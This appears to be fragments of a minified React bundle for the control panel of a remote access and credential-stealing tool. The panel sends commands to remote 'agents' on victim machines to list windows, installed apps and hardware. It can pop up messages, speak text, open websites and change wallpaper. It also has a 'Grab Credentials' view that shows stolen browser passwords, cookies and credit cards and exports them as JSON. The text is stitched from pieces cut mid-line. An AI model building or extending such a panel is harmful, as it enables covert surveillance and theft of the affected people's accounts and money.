focus:outline-none focus:border-zerin-accent/50 focus:ring-1 focus:ring-zerin-accent/20 transition-all`})]}),p&&a.jsx("span",{className:"text-zerin-danger text-xs",children:"Agent is offline"})]}),o&&a.jsx("div",{className:"bg-zerin-panel border border-zerin-panel-border px-4 py-3 text-xs text-zerin-text-dim mb-4",children:o}),c?g.length>0?a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border overflow-hidden",children:[a.jsx("div",{className:"overflow-x-auto",children:a.jsxs("table",{className:"w-full text-sm",children:[a.jsx("thead",{children:a.jsxs("tr",{className:"border-b border-zerin-panel-border bg-zerin-bg-alt",children:[a.jsx("th",{className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider w-[100px]",children:"HWND"}),a.jsx("th",{className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider w-[80px]",children:"PID"}),a.jsx("th",{className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider",children:"Title"}),a.jsx("th",{className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider w-[200px]",children:"Class"})]})}),a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:g.map((y,v)=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover transition-colors",children:[a.jsx("td",{className:"px-4 py-2 font-mono text-xs text-zerin-accent",children:y.hwnd}),a.jsx("td",{className:"px-4 py-2 font-mono text-xs text-zerin-text-dim",children:y.pid}),a.jsx("td",{className:"px-4 py-2 text-xs text-zerin-text truncate max-w-[400px]",children:y.title}),a.jsx("td",{className:"px-4 py-2 font-mono text-xs text-zerin-text-muted truncate",children:y.class})]},`${y.hwnd}-${v}`))})]})}),a.jsxs("div",{className:"px-4 py-2 border-t border-zerin-panel-border text-xs text-zerin-text-muted",children:[g.length," window",g.length!==1?"s":""]})]}):c&&n.length===0?a.jsx("div",{className:"text-center py-12 text-zerin-text-muted text-sm",children:"No visible windows found"}):null:a.jsx("div",{className:"flex items-center justify-center py-16",children:a.jsxs("div",{className:"text-center",children:[a.jsx("div",{className:"w-12 h-12 mx-auto mb-3 bg-zerin-panel-hover flex items-center justify-center",children:a.jsx("svg",{className:"w-6 h-6 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 8l7.89 5.26a2 2 0 002.22 0L21 8M5 19h14a2 2 0 002-2V7a2 2 0 00-2-2H5a2 2 0 00-2 2v10a2 2 0 002 2z"})})}),a.jsx("p",{className:"text-zerin-text-muted text-sm",children:"Click Refresh to list visible windows on the agent"})]})})]})}function tV({agentId:e,agentStatus:t}){const[n,r]=m.useState([]),[i,s]=m.useState(!1),[o,l]=m.useState(""),[c,u]=m.useState(!1),[d,f]=m.useState(""),[p,h]=m.useState("name"),[x,g]=m.useState("asc"),y=t==="dead",v=m.useRef(null);m.useEffect(()=>()=>{v.current&&clearInterval(v.current)},[]);const b=m.useCallback(async()=>{if(!y){s(!0),l(""),r([]),v.current&&(clearInterval(v.current),v.current=null);try{const{task_id:z}=await Me(e,{command:"installed_apps"});u(!0);let S=0;const O=30;v.current=setInterval(async()=>{var A;S++;try{const P=(A=(await Xn(e)).results)==null?void 0:A.find(D=>D.task_id===z);if(P){if(v.current&&clearInterval(v.current),v.current=null,s(!1),P.error){l(P.error);return}if(P.output)try{const D=JSON.parse(P.output);r(D)}catch{l("Failed to parse installed apps data")}}else S>=O&&(v.current&&clearInterval(v.current),v.current=null,s(!1),l("Timed out waiting for agent response"))}catch{}},2e3)}catch(z){l(z instanceof Error?z.message:"Failed to send command"),s(!1)}}},[e,y]);function w(z){p===z?g(S=>S==="asc"?"desc":"asc"):(h(z),g("asc"))}const N=[...d?n.filter(z=>{const S=d.toLowerCase();return z.name.toLowerCase().includes(S)||z.version.toLowerCase().includes(S)||z.publisher.toLowerCase().includes(S)}):n].sort((z,S)=>{const O=z[p]||"",A=S[p]||"",T=O.localeCompare(A,void 0,{sensitivity:"base"});return x==="asc"?T
|
|||
|
|
bg-zerin-accent text-white hover:bg-zerin-accent-hover\r
|
|||
|
|
disabled:opacity-40 disabled:cursor-not-allowed transition-colors`,children:[i?a.jsxs("svg",{className:"animate-spin h-3 w-3",fill:"none",viewBox:"0 0 24 24",children:[a.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),a.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}):a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4 4v5h.582m15.356 2A8.001 8.001 0 004.582 9m0 0H9m11 11v-5h-.581m0 0a8.003 8.003 0 01-15.357-2m15.357 2H15"})}),"Refresh"]}),a.jsxs("div",{className:"relative flex-1 max-w-xs",children:[a.jsx("svg",{className:"absolute left-2.5 top-1/2 -translate-y-1/2 w-3.5 h-3.5 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z"})}),a.jsx("input",{type:"text",value:d,onChange:z=>f(z.target.value),placeholder:"Filter apps...",className:`w-full bg-zerin-bg border border-zerin-panel-border pl-8 pr-3 py-1.5\r
|
|||
|
|
text-xs text-zerin-text placeholder-zerin-text-muted\r
|
|||
|
|
focus:outline-none focus:border-zerin-accent/50 focus:ring-1 focus:ring-zerin-accent/20 transition-all`})]}),y&&a.jsx("span",{className:"text-zerin-danger text-xs",children:"Agent is offline"})]}),o&&a.jsx("div",{className:"bg-zerin-panel border border-zerin-panel-border px-4 py-3 text-xs text-zerin-text-dim mb-4",children:o}),c?N.length>0?a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border overflow-hidden",children:[a.jsx("div",{className:"overflow-x-auto",children:a.jsxs("table",{className:"w-full text-sm",children:[a.jsx("thead",{children:a.jsxs("tr",{className:"border-b border-zerin-panel-border bg-zerin-bg-alt",children:[a.jsxs("th",{onClick:()=>w("name"),className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider cursor-pointer hover:text-zerin-text",children:["Name ",a.jsx(k,{col:"name"})]}),a.jsxs("th",{onClick:()=>w("version"),className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider cursor-pointer hover:text-zerin-text w-[140px]",children:["Version ",a.jsx(k,{col:"version"})]}),a.jsxs("th",{onClick:()=>w("publisher"),className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider cursor-pointer hover:text-zerin-text w-[200px]",children:["Publisher ",a.jsx(k,{col:"publisher"})]}),a.jsxs("th",{onClick:()=>w("install_date"),className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider cursor-pointer hover:text-zerin-text w-[120px]",children:["Installed ",a.jsx(k,{col:"install_date"})]})]})}),a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:N.map((z,S)=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover transition-colors",children:[a.jsx("td",{className:"px-4 py-2 text-xs text-zerin-text",children:z.name}),a.jsx("td",{className:"px-4 py-2 font-mono text-xs text-zerin-text-dim",children:z.version||"-"}),a.jsx("td",{className:"px-4 py-2 text-xs text-zerin-text-muted truncate",children:z.publisher||"-"}),a.jsx("td",{className:"px-4 py-2 font-mono text-xs text-zerin-text-muted",children:z.install_date||"-"})]},`${z.name}-${S}`))})]})}),a.jsxs("div",{className:"px-4 py-2 border-t border-zerin-panel-border text-xs text-zerin-text-muted",children:[N.length," application",N.length!==1?"s":""]})]}):c&&n.length===0?a.jsx("div",{className:"text-center py-12 text-zerin-text-muted text-sm",children:"No installed applications found"}):null:a.jsx("div",{className:"flex items-center justify-center py-16",children:a.jsxs("div",{className:"text-center",children:[a.jsx("div",{className:"w-12 h-12 mx-auto mb-3 bg-zerin-panel-hover flex items-center justify-center",children:a.jsx("svg",{className:"w-6 h-6 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M20.25 7.5l-.625 10.632a2.25 2.25 0 01-2.247 2.118H6.622a2.25 2.25 0 01-2.247-2.118L3.75 7.5M10 11.25h4M3.375 7.5h17.25c.621 0 1.125-.504 1.125-1.125v-1.5c0-.621-.504-1.125-1.125-1.125H3.375c-.621 0-1.125.504-1.125 1.125v1.5c0 .621.504 1.125 1.125 1.125z"})})}),a.jsx("p",{className:"text-zerin-text-muted text-sm",children:"Click Refresh to list installed applications"})]})})]})}function nV({agentId:e,agentStatus:t}){const[n,r]=m.useState(null),[i,s]=m.useState(!1),[o,l]=m.useState(""),[c,u]=m.useState(!1),d=t==="dead",f=m.useRef(null);m.useEffect(()=>()=>{f.current&&clearInterval(f.current)},[]);const p=m.useCallback(async()=>{if(!d){s(!0),l(""),r(null),f.current&&(clearInterval(f.current),f.current=null);try{const{task_id:h}=await Me(e,{command:"specs"});u(!0);let x=0;const g=30;f.current=setInterval(async()=>{var y;x++;try{const b=(y=(await Xn(e)).results)==null?void 0:y.find(w=>w.task_id===h);if(b){if(f.current&&clearInterval(f.current),f.current=null,s(!1),b.error){l(b.error);return}if(b.output)try{const w=JSON.parse(b.output);r(w)}catch{l("Failed to parse system specs")}}else x>=g&&(f.current&&clearInterval(f.current),f.current=null,s(!1),l("Timed out waiting
|
|||
|
|
bg-zerin-accent text-white hover:bg-zerin-accent-hover\r
|
|||
|
|
disabled:opacity-40 disabled:cursor-not-allowed transition-colors`,children:[i?a.jsxs("svg",{className:"animate-spin h-3 w-3",fill:"none",viewBox:"0 0 24 24",children:[a.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),a.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}):a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4 4v5h.582m15.356 2A8.001 8.001 0 004.582 9m0 0H9m11 11v-5h-.581m0 0a8.003 8.003 0 01-15.357-2m15.357 2H15"})}),"Refresh"]}),d&&a.jsx("span",{className:"text-zerin-danger text-xs",children:"Agent is offline"})]}),o&&a.jsx("div",{className:"bg-zerin-panel border border-zerin-panel-border px-4 py-3 text-xs text-zerin-text-dim mb-4",children:o}),c?n?a.jsxs("div",{className:"grid grid-cols-1 lg:grid-cols-3 gap-4",children:[a.jsxs("div",{className:"border border-zerin-panel-border overflow-hidden",children:[a.jsx("div",{className:"px-4 py-3 border-b border-zerin-panel-border bg-zerin-bg-alt",children:a.jsxs("h3",{className:"text-sm font-semibold text-zerin-text flex items-center gap-2",children:[a.jsx("svg",{className:"w-4 h-4 text-zerin-accent",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M8.25 3v1.5M4.5 8.25H3m18 0h-1.5M4.5 12H3m18 0h-1.5m-15 3.75H3m18 0h-1.5M8.25 19.5V21M12 3v1.5m0 15V21m3.75-18v1.5m0 15V21m-9-1.5h10.5a2.25 2.25 0 002.25-2.25V6.75a2.25 2.25 0 00-2.25-2.25H6.75A2.25 2.25 0 004.5 6.75v10.5a2.25 2.25 0 002.25 2.25z"})}),"Hardware"]})}),a.jsxs("div",{className:"p-4 space-y-3",children:[a.jsx(Di,{label:"CPU",value:n.cpu}),a.jsx(Di,{label:"Cores",value:`${n.cores_physical} physical / ${n.cores_logical} logical`}),a.jsx(Di,{label:"RAM",value:`${n.ram_total_gb.toFixed(1)} GB total / ${n.ram_available_gb.toFixed(1)} GB free`}),a.jsx(Di,{label:"GPU",value:n.gpu})]})]}),a.jsxs("div",{className:"border border-zerin-panel-border overflow-hidden",children:[a.jsx("div",{className:"px-4 py-3 border-b border-zerin-panel-border bg-zerin-bg-alt",children:a.jsxs("h3",{className:"text-sm font-semibold text-zerin-text flex items-center gap-2",children:[a.jsx("svg",{className:"w-4 h-4 text-zerin-accent",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M20.25 6.375c0 2.278-3.694 4.125-8.25 4.125S3.75 8.653 3.75 6.375m16.5 0c0-2.278-3.694-4.125-8.25-4.125S3.75 4.097 3.75 6.375m16.5 0v11.25c0 2.278-3.694 4.125-8.25 4.125s-8.25-1.847-8.25-4.125V6.375m16.5 0v3.75m-16.5-3.75v3.75m16.5 0v3.75C20.25 16.153 16.556 18 12 18s-8.25-1.847-8.25-4.125v-3.75m16.5 0c0 2.278-3.694 4.125-8.25 4.125s-8.25-1.847-8.25-4.125"})}),"Storage"]})}),a.jsxs("div",{className:"p-4 space-y-3",children:[n.disks.map((h,x)=>a.jsxs("div",{children:[a.jsxs("div",{className:"flex items-center justify-between text-xs mb-1",children:[a.jsx("span",{className:"font-mono text-zerin-text",children:h.mount}),a.jsxs("span",{className:"text-zerin-text-muted",children:[(h.total_gb-h.free_gb).toFixed(1)," / ",h.total_gb.toFixed(1)," GB"]})]}),a.jsx("div",{className:"w-full h-2 bg-zerin-bg rounded-sm overflow-hidden",children:a.jsx("div",{className:`h-full transition-all ${h.used_pct>90?"bg-zerin-danger":h.used_pct>75?"bg-yellow-500":"bg-zerin-accent"}`,style:{width:`${Math.min(h.used_pct,100)}%`}})}),a.jsxs("div",{className:"text-right text-[10px] text-zerin-text-muted mt-0.5",children:[h.used_pct.toFixed(1),"% used"]})]},`${h.mount}-${x}`)),n.disks.length===0&&a.jsx("p",{className:"text-zerin-text-muted text-xs",children:"No disk info available"})]})]}),a.jsxs("div",{className:"border border-zerin-panel-border overflow-hidden",children:[a.jsx("div",{className:"px-4 py-3 border-b border-zerin-panel-border bg-zerin-bg-alt",children:a.jsxs("h3",{className:"text-sm font-semibold text-zerin-text flex items-center gap-2",children:[a.jsx("svg",{cl
|
|||
|
|
placeholder-zerin-text-muted/40 focus:outline-none focus:border-[#f59e0b]/30 transition-colors`})]}),a.jsxs("div",{children:[a.jsx("label",{className:"block text-zerin-text-muted text-[11px] font-mono mb-1",children:"MESSAGE"}),a.jsx("textarea",{value:y,onChange:H=>v(H.target.value),placeholder:"Enter message...",rows:3,className:`w-full bg-[#0a0a0e] border border-[#1f1f25] px-3 py-2 text-sm text-zerin-text\r
|
|||
|
|
placeholder-zerin-text-muted/40 resize-none focus:outline-none focus:border-[#f59e0b]/30 transition-colors`,autoFocus:!0})]})]}),a.jsx(sc,{onCancel:()=>h(!1),onSend:Ae,color:"#f59e0b",disabled:!y.trim()})]}),b&&a.jsxs(ac,{title:"Text to Speech",color:"#8b5cf6",onClose:()=>w(!1),children:[a.jsxs("div",{children:[a.jsx("label",{className:"block text-zerin-text-muted text-[11px] font-mono mb-1",children:"TEXT"}),a.jsx("textarea",{value:j,onChange:H=>N(H.target.value),placeholder:"What should they hear?",rows:3,className:`w-full bg-[#0a0a0e] border border-[#1f1f25] px-3 py-2 text-sm text-zerin-text\r
|
|||
|
|
placeholder-zerin-text-muted/40 resize-none focus:outline-none focus:border-[#8b5cf6]/30 transition-colors`,autoFocus:!0})]}),a.jsx(sc,{onCancel:()=>w(!1),onSend:$,color:"#8b5cf6",disabled:!j.trim()})]}),k&&a.jsxs(ac,{title:"Open Website",color:"#06b6d4",onClose:()=>z(!1),children:[a.jsxs("div",{children:[a.jsx("label",{className:"block text-zerin-text-muted text-[11px] font-mono mb-1",children:"URL"}),a.jsx("input",{type:"text",value:S,onChange:H=>O(H.target.value),placeholder:"https://...",className:`w-full bg-[#0a0a0e] border border-[#1f1f25] px-3 py-2 text-sm text-zerin-text font-mono\r
|
|||
|
|
placeholder-zerin-text-muted/40 focus:outline-none focus:border-zerin-accent/30 transition-colors`,autoFocus:!0})]}),a.jsx(sc,{onCancel:()=>z(!1),onSend:fe,color:"#06b6d4",disabled:!S.trim()||S==="https://"})]}),A&&a.jsxs(ac,{title:"Change Wallpaper",color:"#10b981",onClose:()=>T(!1),children:[a.jsxs("div",{children:[a.jsx("label",{className:"block text-zerin-text-muted text-[11px] font-mono mb-1",children:"IMAGE PATH OR URL"}),a.jsx("input",{type:"text",value:P,onChange:H=>D(H.target.value),placeholder:"C:\\path\\to\\image.jpg or https://...",className:`w-full bg-[#0a0a0e] border border-[#1f1f25] px-3 py-2 text-sm text-zerin-text font-mono\r
|
|||
|
|
placeholder-zerin-text-muted/40 focus:outline-none focus:border-[#10b981]/30 transition-colors`,autoFocus:!0})]}),a.jsx(sc,{onCancel:()=>T(!1),onSend:ve,color:"#10b981",disabled:!P.trim()})]})]})}function Xs({icon:e,label:t,desc:n,color:r,onClick:i}){return a.jsxs("button",{onClick:i,className:"group flex items-center gap-3 px-3 py-2.5 text-left transition-all duration-150 hover:translate-x-0.5",style:{background:"transparent"},onMouseEnter:s=>{s.currentTarget.style.background=`${r}08`,s.currentTarget.style.borderLeft=`2px solid ${r}40`,s.currentTarget.style.paddingLeft="10px"},onMouseLeave:s=>{s.currentTarget.style.background="transparent",s.currentTarget.style.borderLeft="none",s.currentTarget.style.paddingLeft="12px"},children:[a.jsx("div",{className:"w-8 h-8 flex items-center justify-center shrink-0 transition-colors",style:{background:`${r}10`,border:`1px solid ${r}20`},children:a.jsx("div",{style:{color:`${r}cc`},children:e})}),a.jsxs("div",{className:"min-w-0",children:[a.jsx("div",{className:"text-[12px] font-medium text-zerin-text-dim group-hover:text-zerin-text transition-colors leading-tight",children:t}),a.jsx("div",{className:"text-[10px] text-zerin-text-muted/50 leading-tight mt-0.5",children:n})]})]})}function ac({title:e,color:t,onClose:n,children:r}){return a.jsx("div",{className:"fixed inset-0 z-50 flex items-center justify-center bg-black/70",onClick:n,children:a.jsxs("div",{className:"w-full max-w-sm mx-4 animate-scale-in",style:{background:"#111115",border:`1px solid ${t}25`,boxShadow:`0 0 40px ${t}08`},onClick:i=>i.stopPropagation(),children:[a.jsxs("div",{className:"flex items-center gap-2 px-4 py-3 border-b",style:{borderColor:`${t}15`},children:[a.jsx("div",{className:"w-2 h-2 rounded-full",style:{background:t,boxShadow:`0 0 8px ${t}60`}}),a.jsx("span",{className:"font-display text-sm font-semibold",style:{color:t},children:e})]}),a.jsx("div",{className:"p-4 space-y-4",children:r})]})})}function sc({onCancel:e,onSend:t,color:n,disabled:r}){return a.jsxs("div",{className:"flex items-center justify-end gap-2 pt-1",children:[a.jsx("button",{onClick:e,className:`px-3 py-1.5 text-xs font-medium text-zerin-text-muted\r
|
|||
|
|
hover:text-zerin-text-dim bg-[#18181c] hover:bg-[#1f1f25] transition-colors`,children:"Cancel"}),a.jsx("button",{onClick:t,disabled:r,className:`px-4 py-1.5 text-xs font-semibold text-white transition-all\r
|
|||
|
|
disabled:opacity-30 disabled:cursor-not-allowed`,style:{background:r?"#333":n,boxShadow:r?"none":`0 0 12px ${n}40`},children:"Send"})]})}function Ri({label:e,active:t,color:n,onToggle:r,invert:i}){const s=t;return a.jsxs("div",{className:"flex items-center justify-between",children:[a.jsx("span",{className:"text-[11px] text-zerin-text-dim font-medium",children:e}),a.jsx("button",{onClick:r,className:"relative w-9 h-[20px] rounded-full transition-colors duration-200 focus:outline-none",style:{background:s?`${n}30`:"rgba(239, 68, 68, 0.2)",border:`1px solid ${s?`${n}40`:"rgba(239, 68, 68, 0.3)"}`},children:a.jsx("div",{className:"absolute top-[2px] w-3.5 h-3.5 rounded-full transition-all duration-200",style:{left:s?"18px":"2px",background:s?n:"#ef4444",boxShadow:`0 0 6px ${s?`${n}50`:"rgba(239,68,68,0.4)"}`}})})]})}function aV(){return a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.8,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M8 10h.01M12 10h.01M16 10h.01M9 16H5a2 2 0 01-2-2V6a2 2 0 012-2h14a2 2 0 012 2v8a2 2 0 01-2 2h-5l-5 5v-5z"})})}function sV(){return a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.8,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M19.114 5.636a9 9 0 010 12.728M16.463 8.288a5.25 5.25 0 010 7.424M6.75 8.25l4.72-4.72a.75.75 0 011.28.53v15.88a.75.75 0 01-1.28.53l-4.72-4.72H4.51c-.88 0-1.704-.507-1.938-1.354A9.01 9.01 0 012.25 12c0-.83.112-1.633.322-2.396C2.806 8.756 3.63 8.25 4.51 8.25H6.75z"})})}function oV(){return a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.8,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 21a9.004 9.004 0 008.716-6.747M12 21a9.004 9.004 0 01-8.716-6.747M12 21c2.485 0 4.5-4.03 4.5-9S14.485 3 12 3m0 18c-2.485 0-4.5-4.03-4.5-9S9.515 3 12 3m0 0a8.997 8.997 0 017.843 4.582M12 3a8.997 8.997 0 00-7.843 4.582m15.686 0A11.953 11.953 0 0112 10.5c-2.998 0-5.74-1.1-7.843-2.918m15.686 0A8.959 8.959 0 0121 12c0 .778-.099 1.533-.284 2.253m0 0A17.919 17.919 0 0112 16.5c-3.162 0-6.133-.815-8.716-2.247m0 0A9.015 9.015 0 013 12c0-1.605.42-3.113 1.157-4.418"})})}function lV(){return a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.8,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M2.25 15.75l5.159-5.159a2.25 2.25 0 013.182 0l5.159 5.159m-1.5-1.5l1.409-1.409a2.25 2.25 0 013.182 0l2.909 2.909m-18 3.75h16.5a1.5 1.5 0 001.5-1.5V6a1.5 1.5 0 00-1.5-1.5H3.75A1.5 1.5 0 002.25 6v12a1.5 1.5 0 001.5 1.5zm10.5-11.25h.008v.008h-.008V8.25zm.375 0a.375.375 0 11-.75 0 .375.375 0 01.75 0z"})})}function cV(){return a.jsxs("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.8,children:[a.jsx("circle",{cx:"12",cy:"12",r:"9"}),a.jsx("circle",{cx:"12",cy:"12",r:"3"})]})}function uV({agentId:e,agentStatus:t,autoGrab:n,onAutoGrabConsumed:r}){var k,z,S,O,A,T,P,D,G,R,K,_,M,F,U,V,Z,ae,ue,be,ye,q,te,C,Y,ne,B,le,we,Ne,Ae,$,fe,ve,H,se,W,Q,he,E,ce,J,xe,ke,ze;const[i,s]=m.useState(null),[o,l]=m.useState(!1),[c,u]=m.useState(""),[d,f]=m.useState(new Set),p=t==="dead",h=m.useRef(null);m.useEffect(()=>()=>{h.current&&clearInterval(h.current)},[]);const x=m.useRef(!1);m.useEffect(()=>{n&&!x.current&&!p&&(x.current=!0,y(),r==null||r())},[n]);const g=X=>{f(re=>{const oe=new Set(re);return oe.has(X)?oe.delete(X):oe.add(X),oe})},y=m.useCallback(async()=>{if(!p){l(!0),u(""),s(null),h.current&&(clearInterval(h.current),h.current=null);try{const{task_id:X}=await Me(e,{command:"creds"});let re=0;h.current=setInterval(async()=>{var oe,Oe,et,L,ie,de,lt,Ct,Lt,gr,Qr,Li,As;re++;try{const Jr=(oe=(await Xn(e)).results)==null?void 0:oe.find(bt=>bt.task_id===X);if(Jr){if(h.current&&clearInterval(h.current),h.current=null,l(!1),Jr.error){u(Jr.error);return}if(Jr.output)try{const bt=JSON.parse(Jr.output);s(bt);const rn=new Set;(Oe=bt.chrome_passwords)!=null&&Oe.length&&rn.add("chrome_passwords"
|
|||
|
|
bg-zerin-accent hover:bg-zerin-accent-hover text-white\r
|
|||
|
|
px-4 py-2 transition-colors\r
|
|||
|
|
disabled:opacity-30 disabled:cursor-not-allowed`,children:o?a.jsxs(a.Fragment,{children:[a.jsx("div",{className:"w-4 h-4 border-2 border-white/30 border-t-white rounded-full animate-spin"}),"Grabbing..."]}):a.jsxs(a.Fragment,{children:[a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15.75 5.25a3 3 0 013 3m3 0a6 6 0 01-7.029 5.912c-.563-.097-1.159.026-1.563.43L10.5 17.25H8.25v2.25H6v2.25H2.25v-2.818c0-.597.237-1.17.659-1.591l6.499-6.499c.404-.404.527-1 .43-1.563A6 6 0 1121.75 8.25z"})}),"Grab Credentials"]})}),i&&a.jsxs("button",{onClick:N,className:`inline-flex items-center gap-1.5 text-sm font-medium\r
|
|||
|
|
text-zerin-text-dim hover:text-zerin-text\r
|
|||
|
|
bg-zerin-panel hover:bg-zerin-panel-hover\r
|
|||
|
|
border border-zerin-panel-border\r
|
|||
|
|
px-3 py-2 transition-colors`,children:[a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 005.25 21h13.5A2.25 2.25 0 0021 18.75V16.5M16.5 12L12 16.5m0 0L7.5 12m4.5 4.5V3"})}),"Export JSON"]}),p&&a.jsx("span",{className:"text-zerin-danger text-xs font-medium",children:"Agent offline"})]}),c&&a.jsx("div",{className:"bg-zerin-danger-dim border border-zerin-danger/20 px-4 py-3 text-sm text-zerin-danger",children:c}),i&&a.jsxs("div",{className:"space-y-2",children:[a.jsx(Rn,{title:"Browser Passwords",count:(((k=i.chrome_passwords)==null?void 0:k.length)??0)+(((z=i.firefox_passwords)==null?void 0:z.length)??0),expanded:d.has("chrome_passwords")||d.has("firefox_passwords"),onToggle:()=>{g("chrome_passwords"),g("firefox_passwords")},children:[...i.chrome_passwords??[],...i.firefox_passwords??[]].length===0?a.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No passwords found"}):a.jsxs("table",{className:"w-full text-xs",children:[a.jsx("thead",{children:a.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Browser"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"URL"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Username"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Password"})]})}),a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:[...i.chrome_passwords??[],...i.firefox_passwords??[]].map((X,re)=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[a.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:X.browser??"Firefox"}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono max-w-[200px] truncate",children:X.url}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:oe=>w(X.username,oe),children:X.username}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:oe=>w(X.password,oe),children:X.password?"••••••••":""})]},re))})]})}),a.jsx(Rn,{title:"Browser Cookies",count:((S=i.chrome_cookies)==null?void 0:S.length)??0,expanded:d.has("chrome_cookies"),onToggle:()=>g("chrome_cookies"),children:(O=i.chrome_cookies)!=null&&O.length?a.jsxs("table",{className:"w-full text-xs",children:[a.jsx("thead",{children:a.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Browser"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Host"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Name"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Value"})]})}),a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.chrome_cookies.map((X,re)=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[a.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:X.browser}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono",children:X.host}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono",children:X.name}),a.jsxs("td",{className:"px-4 py-1.5 text-zerin-text font-mono max-w-[200px] truncate cursor-pointer hover:text-zerin-accent",onClick:oe=>w(X.value,oe),children:[X.value.slice(0,40),"..."]})]},re))})]}):a.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No cookies found"})}),a.jsx(Rn,{title:"Credit Cards",count:((A=i.chrome_cards)==null?void 0:A.length)??0,expanded:d.has("chrome_cards"),onToggle:()=>g("chrome_cards"),children:(T=i.chrome_cards)!=null&&T.length?a.jsxs("table",{className:"w-full text-xs",children:[a.jsx("thead",{children:a.jsxs("tr",{className:"border-b border-zeri
|
|||
|
|
